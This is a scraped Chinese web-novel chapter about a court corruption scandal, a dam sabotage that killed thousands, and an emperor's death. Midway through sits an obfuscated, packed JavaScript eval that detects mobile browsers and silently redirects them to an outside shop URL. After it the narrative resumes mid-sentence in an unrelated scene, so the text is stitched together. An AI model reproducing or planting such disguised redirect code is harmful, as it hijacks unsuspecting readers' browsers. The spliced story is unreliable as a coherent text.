默认冷灰
24号文字
方正启体

29. 披露

作者:樱落不是璎珞本书字数:K更新时间:
    夜色被揉碎隐入行人发间,凉风有气无力刮着,树影沙沙掩不住匆忙的脚步,反倒增加了他的恐惧。


    脸上横肉随他动作晃动,妆粉被汗水糊了一脸,比起他提防着的身后,他更像是那暗夜里飘荡的鬼影。


    福春不停喘着粗气,步子沉重,看起来快力竭了,他揪紧胸口的衣衫,摸到里面的东西,又猛起一股劲继续跑。


    春猎开围当日他还在萧悯怀身边,萧悯怀被宣统引着上山,他就以去调动禁军为由跑了,就为了他怀里的东西!


    宣家能庇佑他吗?他不相信。


    破庙屋顶在月光照耀下,闯入福春的视野。他如蒙大赦,连忙快步走进去。


    庙里漆黑不见五指,隐约能听见耗子偷吃贡果的声音。福春掏出火折子,又从神台上取下一节未燃尽的蜡烛,点燃照明。


    他把怀里的东西放下,警惕地环视后把门关严。这东西绝对不能见人,福春翻了翻,确认没错就是工部的真账本。


    他立即地撕下最新的几页,任由火舌吞噬。墨迹被抹去销声匿迹,如见天日真相被再次层层覆盖。


    福春紧张地看着纸张燃起又化为灰烬,一直悬着的心终于稍稍稳下来。


    “嘭——”残破的木门被人从外面踹开。


    福春只回头一瞬,立刻猛地撕下许多页,疯了般往火里丢。可身后人动作更快,绣春刀转瞬抵上他喉间,另一人急忙踩灭火堆。


    庙外又走进一人,接过锦衣卫呈上的账本残本,翻看两眼,道:“福春公公——或许,我应该唤你王富春?”


    王富春双手被捆,脸颊因为压在地上而变形。他望着眼前人的脸,忽然惊觉:“居然是你?!”


    那人落下兜帽,入目的是素喜那张瘦削的脸。他晃动手里的账本,道:“可真是让我好找啊。”


    “怎么会是你?!”王富春还沉浸在震惊里,口里念念叨叨,“你怎么没死!你不应该在昌平十六年就死了吗!昌平九年你也没死,你怎能如此命大!!”


    素喜淡淡扯起嘴角,并没有理会他的愤怒。


    王富春猛然愣住,说出的话自己都不太相信:“你没死,那雅妃乔白薇就是……难怪,我说她怎么如此眼熟。原来是你们!”


    他不甘地笑出声,模样疯癫。素喜不想再听他的疯言疯语,抬手命人拖走他。


    那本残缺账本,连着未烧尽的碎片,一同交到了萧淳熙手里。


    “这就是那账本了?”萧淳熙从成堆的奏折里抬起头,接过翻开,“毁得不多,送去大理寺卿韩复手里,与宣家反叛一案联立调查。”


    “是。”素喜又接过,转身出去。


    书案旁徐广递来温热的茶,道:“殿下歇息片刻吧,您已经坐了两个时辰了。”


    萧淳熙接过,浅抿两口,又搁在桌上。她点点头,起身在殿中来回踱步。


    萧悯怀的身体自那日受赏过后每况愈下,凭着太医续命。要务全权交由萧淳熙处理,和春猎前堆积的一起,忙得她甚少离开书案。


    宣家反叛一案仍在调查中,工部账目倒是很快撬开了李盼山和福春的嘴。


    景和六十二年,虞州王氏夺嫡之争中,王胜平险胜,次子王富春从此隐姓埋名,以“福春”之名进入二十四监。


    昌平三年,王富春接任司礼监提督太监一职,开始为王家谋权敛财。昌平九年,因贪污过多,权势不足以掩盖,王家与宣家于太明寺达成共识。


    贤阳四年,工部尚书王胜平和户部尚书李逸之奉旨南下救灾,王胜平向李逸之提出联手,但琼郡李氏为官正直,断然不肯接受。


    彼时,李盼山已在任工部左侍郎,听闻南下的父亲被威胁,不假思索便答应了。李逸之回到京城,账本早已被他改完了。


    王家的调查结束的当日,萧淳熙便去向萧悯怀禀报,并请示处置。


    原定是将王胜平和王富春处斩,其他人流放,但到下午更大的事件被披露:贤阳四年的灾患,本是可以抵挡住的。


    王宣两家连续几年的大肆敛财,百姓赋税繁重,上报的数目却仍然正常。


    萧悯怀派出东厂南下查证,为了不使败露,两家商议,破坏堤坝。水一没过,这片土地上的事全部成为过去。空口无凭,谁能定论?


    为了那些数目,四千八百二十一人被水夺去生命。


    萧悯怀得知此消息,刚喝下的药气得又吐了出来,捶着床沿说定要严惩,斩了全部嫡系。


    可王胜平的妻子是萧嫤惜,她虽只封号县主,但也是记入宗人府的公主。


    萧淳熙思量再三,定下最终处刑:王胜平和王富春必须处斩,其余处予流放,部分包括萧嫤惜在内的人贬为平民,不予流放。


    宣王两家在太明寺的交易揭露,殷曲两家得以平反,素喜原殷氏次子身份也被发现。


    处刑当日,萧悯怀病危,除监刑的官员,其余基本都在乾清宫外候命。


    简江冉搀扶着伤未痊愈的陈甫生,一直等着他们的韦正立即就引进去了。


    “陛下……”陈甫生颤颤巍巍地行至床边。


    萧悯怀半阖着眼,萧淳熙正为他擦拭手心。他的声音很弱,只剩气声:“师哥、你来了……伤好、些了吗?”


    萧淳熙将他的手放回褥里,起身让出位置。


    陈甫生上前坐在床沿,眼中隐隐有泪意:“我有一点灵力护体,陛下又没让人下重手,早就好多了。”


    “骗人……”萧悯怀握上他的手,气一股一股地呼出,“此事多亏了你,可、我还是希望你能回来……”


    陈甫生苦笑着摇头:“陛下,我们说好的,这出戏过后就放我走。我真不愿在朝堂上待到晚年,还求您成全。”


    萧悯怀呼吸急促许多,眼角溢出泪水:“我不放心,你的弟子江冉也不愿入朝。可、社稷需要像你们这、般才子。”


    他说完,重重吐气,泪水也滑落脸颊。


    他相信萧淳熙的能力,可他就是不放心,简江冉就像一块完美无缺的宝玉,不管在谁身边都是扬长避短的一大助力。


    眼下朝廷人员繁多,个个性情不一,简江冉就是天生为制衡他们的存在,一个天生的调停者。


    立在阶下的简江冉敛眸沉思,下定决心开口道:“陛下,臣愿成为二殿下的左膀右臂。”


    她这句话,无疑是打破了自己誓言,条件是——继位的如果是萧淳熙。


    萧悯怀闻言,激动得胸口气血翻涌,急迫追问道:“江冉所言当真?”


    简江冉当即并起三指立誓:“我简江冉愿入朝为官,成为二殿下的助力。”


    “好好好、咳咳,”萧悯怀连说了三个好,而又喘息着闭上眼,“那就、交给你们了……”


    贤阳十六年春,凉贤帝薨,遗诏立二公主萧淳熙继位。


    燕黎漪执笔落下此页最后一个符文


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224437|197560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,听到念叁月带回的消息,毫无意外。


    她把宣纸放在一边晾干,又拿起竹简片刻字。


    从拿到一卷开始,燕黎漪一边参悟剩下的六成,一边把现有的四成誊抄出来,竹简一份,宣纸一份。


    纪端和长孙雨青时不时来帮忙,到现在也才完成了两成。


    燕黎漪活动着酸痛的脖颈,正巧看到还站在珠帘后,欲言又止的念叁月。她问:“怎么了,有话要说?”


    念叁月抿唇,试探地说:“小姐,呃、楼主来了……想见你。”


    “啊?”燕黎漪捏着尖刀的手顿住,“现在?在哪?外面?”


    一颗白色的脑袋从念叁月身后探出,杨瑞雪今日衣服颜色像极了庭下冒芽的春草,白发梳成松散的辫子搭在左肩,脸上挂着微笑。


    “打扰了。”


    燕黎漪放下东西,走出来道:“大人怎么来了?也不提前知会一声。”


    她掀开珠帘,抬手示意杨瑞雪坐:“大人先坐,叁月,去吩咐丫鬟泡壶茶。”


    “是。”


    “我知道你回收第一卷的消息就赶过来了,”杨瑞雪道,“有需要我帮忙的吗?”


    “不麻烦吗?”燕黎漪想着他苍羽楼里事务应该也不少。


    杨瑞雪眼里盛着光,笑道:“不碍事,最近不忙。”


    念叁月端着茶壶踏入的动作一顿,淡淡道:“楼主这是又丢给姐姐处理了?”


    燕黎漪被她的语气一惊,接过茶壶的手差点没抓稳。


    杨瑞雪目光偏移,笑意不减,道:“本座那是锻炼他们的能力。”


    “大人请喝茶。”燕黎漪把茶杯移到他面前。


    “多谢,”杨瑞雪察觉到她的拘谨,道,“你不用对我那么恭敬,直接叫我杨瑞雪也行。像念叁月,私下就经常叫我杨老头。”


    燕黎漪手指扣了扣茶杯边缘,有些讶异,原来他们私下如此熟稔。


    杨瑞雪又继续解释:“念叁月是友人托付给我的,也算是我养大的第……呃,六十三个孩子。”


    第六十三?念叁月两百多岁,那他岂不是……


    “对哦,我已经一千六百多岁了。”杨瑞雪指尖拨动垂下的发丝,有点小骄傲。


    哇。


    燕黎漪干笑两声,生硬地转移话题:“大人……杨、瑞雪你有什么办法能帮我加快参悟符典吗?”


    “加快参悟吗?”杨瑞雪低吟片刻,摇头,“没有,只有一个办法,你和我共享,我们同时参悟。”


    “也可以。”


    杨瑞雪又摇头,道:“共享符典和取符典时差不多,一样是要祭出再融合,短时间内频繁重复,你的身心都要承受巨大痛苦。”


    “可是我想在离开凉国前,把残卷誊抄完成留在清风。”燕黎漪起身,抱拳躬身,“拜托了。”


    杨瑞雪知道犟不过她,道:“我知道了,不用如此客气对我。以我的能力,约莫只用一次即可全部参悟,当然你已经历过一次融合,疼痛依旧会翻倍。”


    “没关系,我能受住,”燕黎漪道,“那我们什么时候开始?”


    杨瑞雪指着她眼下乌青,叹息道:“先好好休息几日吧,你的眼睛像被人打了。”


    燕黎漪抽动嘴角,只好应下。


    杨瑞雪忽地侧目看向门外,青瞳里带着一丝玩味:“你们家来人了。”


    燕黎漪跟着看去,院门外碧春狂奔而来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)